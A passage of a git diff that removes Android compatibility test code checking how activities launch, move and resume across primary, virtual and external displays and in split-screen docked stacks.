- // Check that activity is on the right display.
- final ActivityManagerState.ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity must be moved to the secondary display",
- getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- // Check that task has moved from primary display to secondary.
- final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
- .getTasks().size();
- mAmWmState.assertEquals("Task number in default stack must be decremented.", taskNum - 1,
- taskNumFinal);
- final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
- .getTasks().size();
- mAmWmState.assertEquals("Task number in stack on external display must be incremented.",
- taskNumOnSecondary + 1, taskNumFinalOnSecondary);
- }
-
- /**
- * Tests that when primary display is rotated secondary displays are not affected.
- */
- public void testRotationNotAffectingSecondaryScreen() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this)
- .setResizeDisplay(false)
- .build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activity on new secondary display.
- String logSeparator = clearLogcat();
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- RESIZEABLE_ACTIVITY_NAME);
- final ReportedSizes initialSizes = getLastReportedSizesForActivity(
- RESIZEABLE_ACTIVITY_NAME, logSeparator);
- assertNotNull("Test activity must have reported initial sizes on launch", initialSizes);
-
- // Rotate primary display and check that activity on secondary display is not affected.
- rotateAndCheckSameSizes(RESIZEABLE_ACTIVITY_NAME);
-
- // Launch activity to secondary display when primary one is rotated.
- final int initialRotation = mAmWmState.getWmState().getRotation();
- setDeviceRotation((initialRotation + 1) % 4);
-
- logSeparator = clearLogcat();
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- TEST_ACTIVITY_NAME);
- final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
- TEST_ACTIVITY_NAME, logSeparator);
- assertEquals("Sizes of secondary display must not change after rotation of primary display",
- initialSizes, testActivitySizes);
- }
-
- private void rotateAndCheckSameSizes(String activityName) throws Exception {
- for (int rotation = 3; rotation >= 0; --rotation) {
- final String logSeparator = clearLogcat();
- setDeviceRotation(rotation);
- final ReportedSizes rotatedSizes = getLastReportedSizesForActivity(activityName,
- logSeparator);
- assertNull("Sizes must not change after rotation", rotatedSizes);
- }
- }
-
- /**
- * Tests that task affinity does affect what display an activity is launched on but that
- * matching the task component root does.
- */
- public void testTaskMatchAcrossDisplays() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
- mAmWmState.waitForValidState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- final int displayId = getCurrentDefaultDisplayId();
- // Check that second activity gets launched on the correct display
- final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
- displayId);
- final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
- mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
- assertEquals("Activity launched on default display must be resumed",
- getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
- defaultDisplayFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on primary display",
- defaultDisplayFrontStackId);
-
- executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
- final int stackId = mVrHeadset ? defaultDisplayFrontStackId : frontStackId;
- final int focusedStackTaskCount = mVrHeadset ? 3 : 1;
- mAmWmState.waitForFocusedStack(mDevice, stackId);
-
- // Check that the third intent is redirected to the first task
- final ActivityManagerState.ActivityStack secondFrontStack
- = mAmWmState.getAmState().getStackById(stackId);
- assertEquals("Activity launched on default display must be resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on primary display", stackId);
- assertEquals("Focused stack must contain correct tasks",
- focusedStackTaskCount, secondFrontStack.getTasks().size());
- assertEquals("Focused task must only contain 1 activity",
- 1, secondFrontStack.getTasks().get(0).mActivities.size());
- }
-
- /**
- * Tests than a new task launched by an activity will end up on that activity's display
- * even if the focused stack is not on that activity's display.
- */
- public void testNewTaskSameDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
-
- // Check that the first activity is launched onto the secondary display
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
- firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
- // Check that the second activity is launched on the default display
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Activity launched on default display must be resumed",
- getActivityComponentName(TEST_ACTIVITY_NAME), focusedStack.mResumedActivity);
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- assertEquals("Focus must be on the correct display", displayId,
- focusedStack.mDisplayId);
-
- executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
- + "--ez new_task true --es target_activity " + LAUNCHING_ACTIVITY);
-
- // Check that the third activity ends up in a new task in the same stack as the
- // first activity
- mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-
- int stackId = mAmWmState.getAmState().getFrontStackId(displayId);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", stackId);
- final ActivityManagerState.ActivityStack secondFrontStack =
- mAmWmState.getAmState().getStackById(stackId);
- assertEquals("Activity must be launched on secondary display",
- getActivityComponentName(LAUNCHING_ACTIVITY),
- secondFrontStack.mResumedActivity);
- final int taskCount = mVrHeadset ? 3 : 2;
- assertEquals("Secondary display must contain correct tasks",
- taskCount, secondFrontStack.getTasks().size());
- }
-
- /**
- * Test that display overrides apply correctly and won't be affected by display changes.
- * This sets overrides to display size and density, initiates a display changed event by locking
- * and unlocking the phone and verifies that overrides are kept.
- */
- @Presubmit
- public void testForceDisplayMetrics() throws Exception {
- launchHomeActivity();
-
- // Read initial sizes.
- final ReportedDisplayMetrics originalDisplayMetrics = getDisplayMetrics();
-
- // Apply new override values that don't match the physical metrics.
- final int overrideWidth = (int) (originalDisplayMetrics.physicalWidth * 1.5);
- final int overrideHeight = (int) (originalDisplayMetrics.physicalHeight * 1.5);
- executeShellCommand(WM_SIZE + " " + overrideWidth + "x" + overrideHeight);
- final int overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
- executeShellCommand(WM_DENSITY + " " + overrideDensity);
-
- // Check if overrides applied correctly.
- ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
- assertEquals(overrideWidth, displayMetrics.overrideWidth);
- assertEquals(overrideHeight, displayMetrics.overrideHeight);
- assertEquals(overrideDensity, displayMetrics.overrideDensity);
-
- // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
- // might update the metrics.
- sleepDevice();
- wakeUpAndUnlockDevice();
- mAmWmState.waitForHomeActivityVisible(mDevice);
-
- // Check if overrides are still applied.
- displayMetrics = getDisplayMetrics();
- assertEquals(overrideWidth, displayMetrics.overrideWidth);
- assertEquals(overrideHeight, displayMetrics.overrideHeight);
- assertEquals(overrideDensity, displayMetrics.overrideDensity);
-
- // All overrides will be cleared in tearDown.
- }
-
- /**
- * Tests than an immediate launch after new display creation is handled correctly.
- */
- public void testImmediateLaunchOnNewDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display and immediately launch an activity on it.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this)
- .setLaunchActivity(TEST_ACTIVITY_NAME).build();
-
- // Check that activity is launched and placed correctly.
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
- mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
- TEST_ACTIVITY_NAME);
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
- }
-
- /**
- * Tests that turning the primary display off does not affect the activity running
- * on an external secondary display.
- */
- public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Launch something on the primary display so we know there is a resumed activity there
- launchActivity(RESIZEABLE_ACTIVITY_NAME);
- waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
- "Activity launched on primary display must be resumed");
-
- final DisplayState newDisplay = createExternalVirtualDisplay(
- true /* showContentWhenLocked */);
-
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- // Check that the activity is launched onto the external display
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
-
- setPrimaryDisplayState(false);
-
- // Wait for the fullscreen stack to start sleeping, and then make sure the
- // test activity is still resumed. Note that on some devices, the top activity may go to
- // the stopped state by itself on sleep, causing the server side to believe it is still
- // paused.
- waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
- "Activity launched on primary display must be stopped or paused after turning off");
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
- }
-
- /**
- * Tests that an activity can be launched on a secondary display while the primary
- * display is off.
- */
- public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Launch something on the primary display so we know there is a resumed activity there
- launchActivity(RESIZEABLE_ACTIVITY_NAME);
- waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
- "Activity launched on primary display must be resumed");
-
- setPrimaryDisplayState(false);
-
- // Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mAmWmState.getAmState().getResumedActivitiesCount());
-
- final DisplayState newDisplay = createExternalVirtualDisplay(
- true /* showContentWhenLocked */);
-
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- // Check that the test activity is resumed on the external display
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
- }
-
- /**
- * Tests that turning the secondary display off stops activities running on that display.
- */
- public void testExternalDisplayToggleState() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- final DisplayState newDisplay = createExternalVirtualDisplay(
- false /* showContentWhenLocked */);
-
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- // Check that the test activity is resumed on the external display
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
-
- mExternalDisplayHelper.turnDisplayOff();
-
- // Check that turning off the external display stops the activity
- waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
- "Activity launched on external display must be stopped after turning off");
-
- mExternalDisplayHelper.turnDisplayOn();
-
- // Check that turning on the external display resumes the activity
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
- }
-
- /**
- * Tests that tapping on the primary display after showing the keyguard resumes the
- * activity on the primary display.
- */
- public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Launch something on the primary display so we know there is a resumed activity there
- launchActivity(RESIZEABLE_ACTIVITY_NAME);
- waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
- "Activity launched on primary display must be resumed");
-
- sleepDevice();
-
- // Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mAmWmState.getAmState().getResumedActivitiesCount());
-
- final DisplayState newDisplay = createExternalVirtualDisplay(
- true /* showContentWhenLocked */);
-
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- // Check that the test activity is resumed on the external display
- waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
- "Activity launched on external display must be resumed");
-
- // Unlock the device and tap on the middle of the primary display
- wakeUpDevice();
- executeShellCommand("wm dismiss-keyguard");
- final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
- final int width = displayMetrics.getWidth();
- final int height = displayMetrics.getHeight();
- executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
-
- // Check that the activity on the primary display is resumed
- waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
- "Activity launched on primary display must be resumed");
- assertEquals("Unexpected resumed activity",
- 1, mAmWmState.getAmState().getResumedActivitiesCount());
- }
-
- private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
- throws Exception {
- mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
-
- final String fullActivityName = getActivityComponentName(activityName);
- assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
- ActivityManagerState.ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
- assertTrue(message,
- mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
- mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
- mAmWmState.assertVisibility(activityName, true /* visible */);
- }
-
- private void waitAndAssertActivityStopped(String activityName, String message)
- throws Exception {
- waitAndAssertActivityState(activityName, message, STATE_STOPPED);
- }
-
- private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
- throws Exception {
- waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
- }
-
- private void waitAndAssertActivityState(String activityName, String message, String... states)
- throws Exception {
- mAmWmState.waitForActivityState(mDevice, activityName, states);
-
- boolean stateFound = false;
-
- for (String state : states) {
- if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
- stateFound = true;
- break;
- }
- }
-
- assertTrue(message, stateFound);
- }
-
- /**
- * Tests that showWhenLocked works on a secondary display.
- */
- public void testSecondaryDisplayShowWhenLocked() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- try {
- setLockCredential();
-
- launchActivity(TEST_ACTIVITY_NAME);
-
- final DisplayState newDisplay = createExternalVirtualDisplay(
- false /* showContentWhenLocked */);
- launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
- mAmWmState.waitForActivityState(
- mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
-
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
- assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
- .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
- } finally {
- tearDownLockCredentials();
- }
- }
-
- /** Get physical and override display metrics from WM. */
- private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
- mDumpLines.clear();
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(WM_SIZE, outputReceiver);
- mDevice.executeShellCommand(WM_DENSITY, outputReceiver);
- final String dump = outputReceiver.getOutput();
- mDumpLines.clear();
- Collections.addAll(mDumpLines, dump.split("\\n"));
- return ReportedDisplayMetrics.create(mDumpLines);
- }
-
- private static class ReportedDisplayMetrics {
- private static final Pattern sPhysicalSizePattern =
- Pattern.compile("Physical size: (\\d+)x(\\d+)");
- private static final Pattern sOverrideSizePattern =
- Pattern.compile("Override size: (\\d+)x(\\d+)");
- private static final Pattern sPhysicalDensityPattern =
- Pattern.compile("Physical density: (\\d+)");
- private static final Pattern sOverrideDensityPattern =
- Pattern.compile("Override density: (\\d+)");
-
- int physicalWidth;
- int physicalHeight;
- int physicalDensity;
-
- boolean sizeOverrideSet;
- int overrideWidth;
- int overrideHeight;
- boolean densityOverrideSet;
- int overrideDensity;
-
- /** Get width that WM operates with. */
- int getWidth() {
- return sizeOverrideSet ? overrideWidth : physicalWidth;
- }
-
- /** Get height that WM operates with. */
- int getHeight() {
- return sizeOverrideSet ? overrideHeight : physicalHeight;
- }
-
- /** Get density that WM operates with. */
- int getDensity() {
- return densityOverrideSet ? overrideDensity : physicalDensity;
- }
-
- static ReportedDisplayMetrics create(LinkedList<String> dump) {
- final ReportedDisplayMetrics result = new ReportedDisplayMetrics();
-
- boolean physicalSizeFound = false;
- boolean physicalDensityFound = false;
-
- while (!dump.isEmpty()) {
- final String line = dump.pop().trim();
-
- Matcher matcher = sPhysicalSizePattern.matcher(line);
- if (matcher.matches()) {
- physicalSizeFound = true;
- log(line);
- result.physicalWidth = Integer.parseInt(matcher.group(1));
- result.physicalHeight = Integer.parseInt(matcher.group(2));
- continue;
- }
-
- matcher = sOverrideSizePattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- result.overrideWidth = Integer.parseInt(matcher.group(1));
- result.overrideHeight = Integer.parseInt(matcher.group(2));
- result.sizeOverrideSet = true;
- continue;
- }
-
- matcher = sPhysicalDensityPattern.matcher(line);
- if (matcher.matches()) {
- physicalDensityFound = true;
- log(line);
- result.physicalDensity = Integer.parseInt(matcher.group(1));
- continue;
- }
-
- matcher = sOverrideDensityPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- result.overrideDensity = Integer.parseInt(matcher.group(1));
- result.densityOverrideSet = true;
- continue;
- }
- }
-
- assertTrue("Physical display size must be reported", physicalSizeFound);
- assertTrue("Physical display density must be reported", physicalDensityFound);
-
- return result;
- }
- }
-
- /** Assert that component received onMovedToDisplay and onConfigurationChanged callbacks. */
- private void assertMovedToDisplay(String componentName, String logSeparator) throws Exception {
- final ActivityLifecycleCounts lifecycleCounts
- = new ActivityLifecycleCounts(componentName, logSeparator);
- if (lifecycleCounts.mDestroyCount != 0) {
- fail(componentName + " has been destroyed " + lifecycleCounts.mDestroyCount
- + " time(s), wasn't expecting any");
- } else if (lifecycleCounts.mCreateCount != 0) {
- fail(componentName + " has been (re)created " + lifecycleCounts.mCreateCount
- + " time(s), wasn't expecting any");
- } else if (lifecycleCounts.mConfigurationChangedCount != 1) {
- fail(componentName + " has received "
- + lifecycleCounts.mConfigurationChangedCount
- + " onConfigurationChanged() calls, expecting " + 1);
- } else if (lifecycleCounts.mMovedToDisplayCount != 1) {
- fail(componentName + " has received "
- + lifecycleCounts.mMovedToDisplayCount
- + " onMovedToDisplay() calls, expecting " + 1);
- }
- }
-
- private static String getResizeVirtualDisplayCommand() {
- return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
- " --es command resize_display";
- }
-
- /**
- * Creates a private virtual display with the external and show with insecure
- * keyguard flags set.
- */
- private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
- throws Exception {
- final ReportedDisplays originalDS = getDisplaysStates();
- final int originalDisplayCount = originalDS.getNumberOfDisplays();
-
- mExternalDisplayHelper = new DisplayHelper(getDevice());
- mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
-
- // Wait for the virtual display to be created and get configurations.
- final ReportedDisplays ds =
- getDisplayStateAfterChange(originalDisplayCount + 1);
- assertEquals("New virtual display must be created",
- originalDisplayCount + 1, ds.getNumberOfDisplays());
-
- // Find the newly added display.
- final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
- return newDisplays.get(0);
- }
-
- /** Turns the primary display on/off by pressing the power key */
- private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
- // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
- int keycode = wantOn ? 224 : 223;
- getDevice().executeShellCommand("input keyevent " + keycode);
- DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
deleted file mode 100644
index cf3540c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ /dev/null
@@ -1,608 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDockedStackTests
- */
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String FINISHABLE_ACTIVITY_NAME = "FinishableActivity";
- private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
- private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
- private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
- private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
- private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
- private static final int TASK_SIZE = 600;
- private static final int STACK_SIZE = 300;
-
- public void testMinimumDeviceSize() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
- "Devices supporting multi-window must be larger than the default minimum"
- + " task size");
- }
-
- public void testStackList() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivity(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testDockActivity() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testNonResizeableNotDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
- mAmWmState.assertFrontStack(
- "Fullscreen stack must be front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- public void testLaunchToSide() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testLaunchToSideMultiWindowCallbacks() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- // Launch two activities, one docked, one adjacent
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- // Remove the docked stack, and ensure that
- final String logSeparator = clearLogcat();
- removeStacks(DOCKED_STACK_ID);
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
- TEST_ACTIVITY_NAME, logSeparator);
- if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
- fail(TEST_ACTIVITY_NAME + " has received "
- + lifecycleCounts.mMultiWindowModeChangedCount
- + " onMultiWindowModeChanged() calls, expecting 1");
- }
- }
-
- public void testLaunchToSideAndBringToFront() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
- final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForFirstVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY_NAME);
-
- // Launch another activity to side to cover first one.
- launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, waitForSecondVisible);
- int taskNumberCovered = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Fullscreen stack must have one task added.",
- taskNumberInitial + 1, taskNumberCovered);
- mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- NO_RELAUNCH_ACTIVITY_NAME);
-
